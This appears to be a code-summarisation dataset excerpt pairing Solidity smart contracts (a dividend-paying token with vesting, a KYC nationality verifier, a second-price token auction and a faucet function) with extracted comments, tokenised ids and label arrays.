do a payin for all token holder. * Owner / treasurer can also increase dividend by calling fallback function multiple times. */ function() public payable { require(isTreasurer[msg.sender]); require(dividendEndTime < block.timestamp); // pay back unclaimed dividend that might not have been claimed by owner yet if (address(this).balance > msg.value) { uint256 payout = address(this).balance.sub(msg.value); owner.transfer(payout); emit Reclaimed(payout, dividendEndTime, block.timestamp); } currentDividend = address(this).balance; // No active dividend cycle found, initialize new round dividendEndTime = block.timestamp.add(dividendCycleTime); // Trigger payin event emit Payin(msg.sender, msg.value, dividendEndTime); lastDividendIncreaseDate = block.timestamp; } /** * @dev calculate the dividend * @param _hodler address * @param _totalSupply uint256 */ function calcDividend(address _hodler, uint256 _totalSupply) public view returns(uint256) { return (currentDividend.mul(balanceOf(_hodler))).div(_totalSupply); } } contract TendToken is MintableToken, PausableToken, DividendToken { using SafeMath for uint256; string public constant name = "Tend Token"; string public constant symbol = "TTA"; uint8 public constant decimals = 18; // Minimum transferable chunk uint256 public granularity = 1e18; /** * @dev Constructor of TendToken that instantiate a new DividendToken */ constructor() public DividendToken() { // token should not be transferrable until after all tokens have been issued paused = true; } /** * @dev Internal function that ensures `_amount` is multiple of the granularity * @param _amount The quantity that wants to be checked */ function requireMultiple(uint256 _amount) internal view { require(_amount.div(granularity).mul(granularity) == _amount); } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { requireMultiple(_value); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { requireMultiple(_value); return super.transferFrom(_from, _to, _value); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public returns (bool) { requireMultiple(_amount); // Return from inherited mint method return super.mint(_to, _amount); } /** * @dev Function to batch mint tokens * @param _to An array of addresses that will receive the minted tokens. * @param _amount An array with the amounts of tokens each address will get minted. * @return A boolean that indicates whether the operation was successful. */ function batchMint( address[] _to, uint256[] _amount ) hasMintPermission canMint public returns (bool) { require(_to.length == _amount.length); for (uint i = 0; i < _to.length; i++) { requireMultiple(_amount[i]); require(mint(_to[i], _amount[i])); } return true; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); // beneficiary of tokens after they are released address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } contract RoundedTokenVesting is TokenVesting { using SafeMath for uint256; // Minimum transferable chunk uint256 public granularity; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * _beneficiary, gradually in a linear fashion until _start + _duration. By then all * of the balance will have vested. * @param _beneficiary address of the beneficiary to whom vested tokens are transferred * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable, uint256 _granularity ) public TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable) { granularity = _granularity; } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { uint256 notRounded = totalBalance.mul(block.timestamp.sub(start)).div(duration); // Round down to the nearest token chunk by using integer division: (x / 1e18) * 1e18 uint256 rounded = notRounded.div(granularity).mul(granularity); return rounded; } } } contract TendTokenVested is TendToken { using SafeMath for uint256; /*** CONSTANTS ***/ uint256 public constant DEVELOPMENT_TEAM_CAP = 2e6 * 1e18; // 2 million * 1e18 uint256 public constant VESTING_CLIFF = 0 days; uint256 public constant VESTING_DURATION = 3 * 365 days; uint256 public developmentTeamTokensMinted; // for convenience we store vesting wallets address[] public vestingWallets; modifier onlyNoneZero(address _to, uint256 _amount) { require(_to != address(0)); require(_amount > 0); _; } /** * @dev allows contract owner to mint team tokens per DEVELOPMENT_TEAM_CAP and transfer to the development team's wallet (yes vesting) * @param _to address for beneficiary * @param _tokens uint256 token amount to mint */ function mintDevelopmentTeamTokens(address _to, uint256 _tokens) public onlyOwner onlyNoneZero(_to, _tokens) returns (bool) { requireMultiple(_tokens); require(developmentTeamTokensMinted.add(_tokens) <= DEVELOPMENT_TEAM_CAP); developmentTeamTokensMinted = developmentTeamTokensMinted.add(_tokens); RoundedTokenVesting newVault = new RoundedTokenVesting(_to, block.timestamp, VESTING_CLIFF, VESTING_DURATION, false, granularity); vestingWallets.push(address(newVault)); // for convenience we keep them in storage so that they are easily accessible via MEW or etherscan return mint(address(newVault), _tokens); } /** * @dev returns number of elements in the vestinWallets array */ function getVestingWalletLength() public view returns (uint256) { return vestingWallets.length; } }
* @dev Request payout dividend (claim) (requested by tokenHolder -> pull) dividends that have not been claimed within 330 days expire and cannot be claimed anymore by the token holder./ unclaimed dividend fractions should expire after 330 days and the owner can reclaim that fraction Trigger payout event
function claimDividend() public returns (bool) { require(dividendEndTime > 0); require(dividendEndTime.sub(claimTimeout) > block.timestamp); updateDividend(msg.sender); uint256 payment = unclaimedDividend[msg.sender]; unclaimedDividend[msg.sender] = 0; msg.sender.transfer(payment); emit Payout(msg.sender, payment); return true; }
12,540,931
[ 1, 691, 293, 2012, 31945, 261, 14784, 13, 261, 19065, 635, 1147, 6064, 317, 6892, 13, 3739, 350, 5839, 716, 1240, 486, 2118, 7516, 329, 3470, 890, 5082, 4681, 6930, 471, 2780, 506, 7516, 329, 16828, 635, 326, 1147, 10438, 18, 19, 6301, 80, 4581, 329, 31945, 8330, 87, 1410, 6930, 1839, 890, 5082, 4681, 471, 326, 3410, 848, 283, 14784, 716, 8330, 11321, 293, 2012, 871, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7516, 7244, 26746, 1435, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 2892, 26746, 25255, 405, 374, 1769, 203, 3639, 2583, 12, 2892, 26746, 25255, 18, 1717, 12, 14784, 2694, 13, 405, 1203, 18, 5508, 1769, 203, 203, 3639, 1089, 7244, 26746, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 2254, 5034, 5184, 273, 6301, 80, 4581, 329, 7244, 26746, 63, 3576, 18, 15330, 15533, 203, 3639, 6301, 80, 4581, 329, 7244, 26746, 63, 3576, 18, 15330, 65, 273, 374, 31, 203, 203, 3639, 1234, 18, 15330, 18, 13866, 12, 9261, 1769, 203, 203, 3639, 3626, 453, 2012, 12, 3576, 18, 15330, 16, 5184, 1769, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.19; // File: contracts/ClaimRegistry.sol contract ClaimRegistry { function getSingleSubjectByAddress(address linkedAddress, uint subjectIndex) public view returns(address subject); function getSubjectClaimSetSize(address subject, uint typeNameIx, uint attrNameIx) public constant returns (uint) ; function getSubjectClaimSetEntryAt(address subject, uint typeNameIx, uint attrNameIx, uint ix) public constant returns (address issuer, uint url); function getSubjectCountByAddress(address linkedAddress) public view returns(uint subjectCount); } // File: contracts/NotakeyVerifierForICOP.sol contract NotakeyVerifierForICOP { uint public constant ICO_CONTRIBUTOR_TYPE = 6; uint public constant REPORT_BUNDLE = 6; uint public constant NATIONALITY_INDEX = 7; address public claimRegistryAddr; address public trustedIssuerAddr; // address private callerIdentitySubject; uint public constant USA = 883423532389192164791648750371459257913741948437809479060803100646309888; // USA is 240nd; blacklist: 1 << (240-1) uint public constant CHINA = 8796093022208; // China is 44th; blacklist: 1 << (44-1) uint public constant SOUTH_KOREA = 83076749736557242056487941267521536; // SK is 117th; blacklist: 1 << (117-1) event GotUnregisteredPaymentAddress(address indexed paymentAddress); function NotakeyVerifierForICOP(address _trustedIssuerAddr, address _claimRegistryAddr) public { claimRegistryAddr = _claimRegistryAddr; trustedIssuerAddr = _trustedIssuerAddr; } modifier onlyVerifiedSenders(address paymentAddress, uint256 nationalityBlacklist) { // DISABLED for ICOP sale // require(_hasIcoContributorType(paymentAddress)); require(!_preventedByNationalityBlacklist(paymentAddress, nationalityBlacklist)); _; } function sanityCheck() public pure returns (string) { return "Hello Dashboard"; } function isVerified(address subject, uint256 nationalityBlacklist) public constant onlyVerifiedSenders(subject, nationalityBlacklist) returns (bool) { return true; } function _preventedByNationalityBlacklist( address paymentAddress, uint256 nationalityBlacklist) internal constant returns (bool) { var claimRegistry = ClaimRegistry(claimRegistryAddr); uint subjectCount = _lookupOwnerIdentityCount(paymentAddress); uint256 ignoredClaims; uint claimCount; address subject; // Loop over all isued identities associated to this wallet adress and // throw if any match to blacklist for (uint subjectIndex = 0 ; subjectIndex < subjectCount ; subjectIndex++ ){ subject = claimRegistry.getSingleSubjectByAddress(paymentAddress, subjectIndex); claimCount = claimRegistry.getSubjectClaimSetSize(subject, ICO_CONTRIBUTOR_TYPE, NATIONALITY_INDEX); ignoredClaims = 0; for (uint i = 0; i < claimCount; ++i) { var (issuer, url) = claimRegistry.getSubjectClaimSetEntryAt(subject, ICO_CONTRIBUTOR_TYPE, NATIONALITY_INDEX, i); var countryMask = 2**(url-1); if (issuer != trustedIssuerAddr) { ignoredClaims += 1; } else { if (((countryMask ^ nationalityBlacklist) & countryMask) != countryMask) { return true; } } } } // If the blacklist is empty (0), then that's fine for the V1 contract (where we validate the bundle); // For our own sale, however, this attribute is a proxy indicator for whether the address is verified. // // Account for ignored claims (issued by unrecognized issuers) require((claimCount - ignoredClaims) > 0); return false; } function _lookupOwnerIdentityCount(address paymentAddress) internal constant returns (uint){ var claimRegistry = ClaimRegistry(claimRegistryAddr); var subjectCount = claimRegistry.getSubjectCountByAddress(paymentAddress); // The address is unregistered so we throw and log event // This method and callers have to overriden as non-constant to emit events // if ( subjectCount == 0 ) { // GotUnregisteredPaymentAddress( paymentAddress ); // revert(); // } require(subjectCount > 0); return subjectCount; } function _hasIcoContributorType(address paymentAddress) internal constant returns (bool) { uint subjectCount = _lookupOwnerIdentityCount(paymentAddress); var atLeastOneValidReport = false; var atLeastOneValidNationality = false; address subject; var claimRegistry = ClaimRegistry(claimRegistryAddr); // Loop over all isued identities associated to this wallet address and // exit loop any satisfy the business logic requirement for (uint subjectIndex = 0 ; subjectIndex < subjectCount ; subjectIndex++ ){ subject = claimRegistry.getSingleSubjectByAddress(paymentAddress, subjectIndex); var nationalityCount = claimRegistry.getSubjectClaimSetSize(subject, ICO_CONTRIBUTOR_TYPE, NATIONALITY_INDEX); for (uint nationalityIndex = 0; nationalityIndex < nationalityCount; ++nationalityIndex) { var (nationalityIssuer,) = claimRegistry.getSubjectClaimSetEntryAt(subject, ICO_CONTRIBUTOR_TYPE, NATIONALITY_INDEX, nationalityIndex); if (nationalityIssuer == trustedIssuerAddr) { atLeastOneValidNationality = true; break; } } var reportCount = claimRegistry.getSubjectClaimSetSize(subject, ICO_CONTRIBUTOR_TYPE, REPORT_BUNDLE); for (uint reportIndex = 0; reportIndex < reportCount; ++reportIndex) { var (reportIssuer,) = claimRegistry.getSubjectClaimSetEntryAt(subject, ICO_CONTRIBUTOR_TYPE, REPORT_BUNDLE, reportIndex); if (reportIssuer == trustedIssuerAddr) { atLeastOneValidReport = true; break; } } } return atLeastOneValidNationality && atLeastOneValidReport; } } // File: contracts/SecondPriceAuction.sol //! Copyright Parity Technologies, 2017. //! (original version: https://github.com/paritytech/second-price-auction) //! //! Copyright Notakey Latvia SIA, 2017. //! Original version modified to verify contributors against Notakey //! KYC smart contract. //! //! Released under the Apache Licence 2. pragma solidity ^0.4.19; /// Stripped down ERC20 standard token interface. contract Token { function transferFrom(address from, address to, uint256 value) public returns (bool); } /// Simple modified second price auction contract. Price starts high and monotonically decreases /// until all tokens are sold at the current price with currently received funds. /// The price curve has been chosen to resemble a logarithmic curve /// and produce a reasonable auction timeline. contract SecondPriceAuction { // Events: /// Someone bought in at a particular max-price. event Buyin(address indexed who, uint accounted, uint received, uint price); /// Admin injected a purchase. event Injected(address indexed who, uint accounted, uint received); /// At least 5 minutes has passed since last Ticked event. event Ticked(uint era, uint received, uint accounted); /// The sale just ended with the current price. event Ended(uint price); /// Finalised the purchase for `who`, who has been given `tokens` tokens. event Finalised(address indexed who, uint tokens); /// Auction is over. All accounts finalised. event Retired(); // Constructor: /// Simple constructor. /// Token cap should take be in smallest divisible units. /// NOTE: original SecondPriceAuction contract stipulates token cap must be given in whole tokens. /// This does not seem correct, as only whole token values are transferred via transferFrom (which - in our wallet's case - /// expects transfers in the smallest divisible amount) function SecondPriceAuction( address _trustedClaimIssuer, address _notakeyClaimRegistry, address _tokenContract, address _treasury, address _admin, uint _beginTime, uint _tokenCap ) public { // this contract must be created by the notakey claim issuer (sender) verifier = new NotakeyVerifierForICOP(_trustedClaimIssuer, _notakeyClaimRegistry); tokenContract = Token(_tokenContract); treasury = _treasury; admin = _admin; beginTime = _beginTime; tokenCap = _tokenCap; endTime = beginTime + DEFAULT_AUCTION_LENGTH; } function() public payable { buyin(); } // Public interaction: function moveStartDate(uint newStart) public before_beginning only_admin { beginTime = newStart; endTime = calculateEndTime(); } /// Buyin function. Throws if the sale is not active and when refund would be needed. function buyin() public payable when_not_halted when_active only_eligible(msg.sender) { flushEra(); // Flush bonus period: if (currentBonus > 0) { // Bonus is currently active... if (now >= beginTime + BONUS_MIN_DURATION // ...but outside the automatic bonus period && lastNewInterest + BONUS_LATCH <= block.number // ...and had no new interest for some blocks ) { currentBonus--; } if (now >= beginTime + BONUS_MAX_DURATION) { currentBonus = 0; } if (buyins[msg.sender].received == 0) { // We have new interest lastNewInterest = uint32(block.number); } } uint accounted; bool refund; uint price; (accounted, refund, price) = theDeal(msg.value); /// No refunds allowed. require (!refund); // record the acceptance. buyins[msg.sender].accounted += uint128(accounted); buyins[msg.sender].received += uint128(msg.value); totalAccounted += accounted; totalReceived += msg.value; endTime = calculateEndTime(); Buyin(msg.sender, accounted, msg.value, price); // send to treasury treasury.transfer(msg.value); } /// Like buyin except no payment required and bonus automatically given. function inject(address _who, uint128 _received) public only_admin only_basic(_who) before_beginning { uint128 bonus = _received * uint128(currentBonus) / 100; uint128 accounted = _received + bonus; buyins[_who].accounted += accounted; buyins[_who].received += _received; totalAccounted += accounted; totalReceived += _received; endTime = calculateEndTime(); Injected(_who, accounted, _received); } /// Mint tokens for a particular participant. function finalise(address _who) public when_not_halted when_ended only_buyins(_who) { // end the auction if we're the first one to finalise. if (endPrice == 0) { endPrice = totalAccounted / tokenCap; Ended(endPrice); } // enact the purchase. uint total = buyins[_who].accounted; uint tokens = total / endPrice; totalFinalised += total; delete buyins[_who]; require (tokenContract.transferFrom(treasury, _who, tokens)); Finalised(_who, tokens); if (totalFinalised == totalAccounted) { Retired(); } } // Prviate utilities: /// Ensure the era tracker is prepared in case the current changed. function flushEra() private { uint currentEra = (now - beginTime) / ERA_PERIOD; if (currentEra > eraIndex) { Ticked(eraIndex, totalReceived, totalAccounted); } eraIndex = currentEra; } // Admin interaction: /// Emergency function to pause buy-in and finalisation. function setHalted(bool _halted) public only_admin { halted = _halted; } /// Emergency function to drain the contract of any funds. function drain() public only_admin { treasury.transfer(this.balance); } // Inspection: /// The current end time of the sale assuming that nobody else buys in. function calculateEndTime() public constant returns (uint) { var factor = tokenCap / DIVISOR * EURWEI; uint16 scaleDownRatio = 1; // 1 for prod return beginTime + (182035 * factor / (totalAccounted + factor / 10 ) - 0) / scaleDownRatio; } /// The current price for a single indivisible part of a token. If a buyin happens now, this is /// the highest price per indivisible token part that the buyer will pay. This doesn't /// include the discount which may be available. function currentPrice() public constant when_active returns (uint weiPerIndivisibleTokenPart) { return ((EURWEI * 184325000 / (now - beginTime + 5760) - EURWEI*5) / DIVISOR); } /// Returns the total indivisible token parts available for purchase right now. function tokensAvailable() public constant when_active returns (uint tokens) { uint _currentCap = totalAccounted / currentPrice(); if (_currentCap >= tokenCap) { return 0; } return tokenCap - _currentCap; } /// The largest purchase than can be made at present, not including any /// discount. function maxPurchase() public constant when_active returns (uint spend) { return tokenCap * currentPrice() - totalAccounted; } /// Get the number of `tokens` that would be given if the sender were to /// spend `_value` now. Also tell you what `refund` would be given, if any. function theDeal(uint _value) public constant when_active returns (uint accounted, bool refund, uint price) { uint _bonus = bonus(_value); price = currentPrice(); accounted = _value + _bonus; uint available = tokensAvailable(); uint tokens = accounted / price; refund = (tokens > available); } /// Any applicable bonus to `_value`. function bonus(uint _value) public constant when_active returns (uint extra) { return _value * uint(currentBonus) / 100; } /// True if the sale is ongoing. function isActive() public constant returns (bool) { return now >= beginTime && now < endTime; } /// True if all buyins have finalised. function allFinalised() public constant returns (bool) { return now >= endTime && totalAccounted == totalFinalised; } /// Returns true if the sender of this transaction is a basic account. function isBasicAccount(address _who) internal constant returns (bool) { uint senderCodeSize; assembly { senderCodeSize := extcodesize(_who) } return senderCodeSize == 0; } // Modifiers: /// Ensure the sale is ongoing. modifier when_active { require (isActive()); _; } /// Ensure the sale has not begun. modifier before_beginning { require (now < beginTime); _; } /// Ensure the sale is ended. modifier when_ended { require (now >= endTime); _; } /// Ensure we're not halted. modifier when_not_halted { require (!halted); _; } /// Ensure `_who` is a participant. modifier only_buyins(address _who) { require (buyins[_who].accounted != 0); _; } /// Ensure sender is admin. modifier only_admin { require (msg.sender == admin); _; } /// Ensure that the signature is valid, `who` is a certified, basic account, /// the gas price is sufficiently low and the value is sufficiently high. modifier only_eligible(address who) { require ( verifier.isVerified(who, verifier.USA() | verifier.CHINA() | verifier.SOUTH_KOREA()) && isBasicAccount(who) && msg.value >= DUST_LIMIT ); _; } /// Ensure sender is not a contract. modifier only_basic(address who) { require (isBasicAccount(who)); _; } // State: struct Account { uint128 accounted; // including bonus & hit uint128 received; // just the amount received, without bonus & hit } /// Those who have bought in to the auction. mapping (address => Account) public buyins; /// Total amount of ether received, excluding phantom "bonus" ether. uint public totalReceived = 0; /// Total amount of ether accounted for, including phantom "bonus" ether. uint public totalAccounted = 0; /// Total amount of ether which has been finalised. uint public totalFinalised = 0; /// The current end time. Gets updated when new funds are received. uint public endTime; /// The price per token; only valid once the sale has ended and at least one /// participant has finalised. uint public endPrice; /// Must be false for any public function to be called. bool public halted; /// The current percentage of bonus that purchasers get. uint8 public currentBonus = 15; /// The last block that had a new participant. uint32 public lastNewInterest; // Constants after constructor: /// The tokens contract. Token public tokenContract; /// The Notakey verifier contract. NotakeyVerifierForICOP public verifier; /// The treasury address; where all the Ether goes. address public treasury; /// The admin address; auction can be paused or halted at any time by this. address public admin; /// The time at which the sale begins. uint public beginTime; /// Maximum amount of tokens to mint. Once totalAccounted / currentPrice is /// greater than this, the sale ends. uint public tokenCap; // Era stuff (isolated) /// The era for which the current consolidated data represents. uint public eraIndex; /// The size of the era in seconds. uint constant public ERA_PERIOD = 5 minutes; // Static constants: /// Anything less than this is considered dust and cannot be used to buy in. uint constant public DUST_LIMIT = 5 finney; //# Statement to actually sign. //# ```js //# statement = function() { this.STATEMENT().map(s => s.substr(28)) } //# ``` /// Minimum duration after sale begins that bonus is active. uint constant public BONUS_MIN_DURATION = 1 hours; /// Minimum duration after sale begins that bonus is active. uint constant public BONUS_MAX_DURATION = 12 hours; /// Number of consecutive blocks where there must be no new interest before bonus ends. uint constant public BONUS_LATCH = 2; /// Number of Wei in one EUR, constant. uint constant public EURWEI = 2000 szabo; // 500 eur ~ 1 eth /// Initial auction length uint constant public DEFAULT_AUCTION_LENGTH = 2 days; /// Divisor of the token. uint constant public DIVISOR = 1000; }
If the blacklist is empty (0), then that's fine for the V1 contract (where we validate the bundle); For our own sale, however, this attribute is a proxy indicator for whether the address is verified. Account for ignored claims (issued by unrecognized issuers)
require((claimCount - ignoredClaims) > 0);
5,538,499
[ 1, 2047, 326, 11709, 353, 1008, 261, 20, 3631, 1508, 716, 1807, 11079, 364, 326, 776, 21, 6835, 261, 6051, 732, 1954, 326, 3440, 1769, 2457, 3134, 4953, 272, 5349, 16, 14025, 16, 333, 1566, 353, 279, 2889, 10664, 364, 2856, 326, 1758, 353, 13808, 18, 6590, 364, 5455, 11955, 261, 1054, 5957, 635, 28333, 3385, 27307, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12443, 14784, 1380, 300, 5455, 15925, 13, 405, 374, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42220/0xe674a926D43bd818Aa4138992c4d00CA68636c9F/sources/project_/contracts/fuseFaucet/Faucet.sol
switch wallet to the account we do the accounting for
function _topWallet(address payable _wallet) internal { address payable target = _wallet; address whitelistedRoot = getIdentity().getWhitelistedRoot(_wallet); _wallet = whitelistedRoot == address(0) ? _wallet : payable(whitelistedRoot); require(toppingAmount > address(_wallet).balance); uint256 toTop = toppingAmount - address(_wallet).balance; uint256 dayOfWeek = currentDay % 7; if (wallets[_wallet].lastDayTopped == uint128(currentDay)) wallets[_wallet].dailyToppingCount += 1; else wallets[_wallet].dailyToppingCount = 1; wallets[_wallet].lastDayTopped = uint128(currentDay); wallets[_wallet].lastWeekToppings[dayOfWeek] += uint128(toTop); if (notFirstTime[_wallet] == false && whitelistedRoot == address(0)) { dailyNewWalletsCount++; } notFirstTime[_wallet] = true; target.transfer(toTop); emit WalletTopped(target, toTop, whitelistedRoot, msg.sender); }
3,494,970
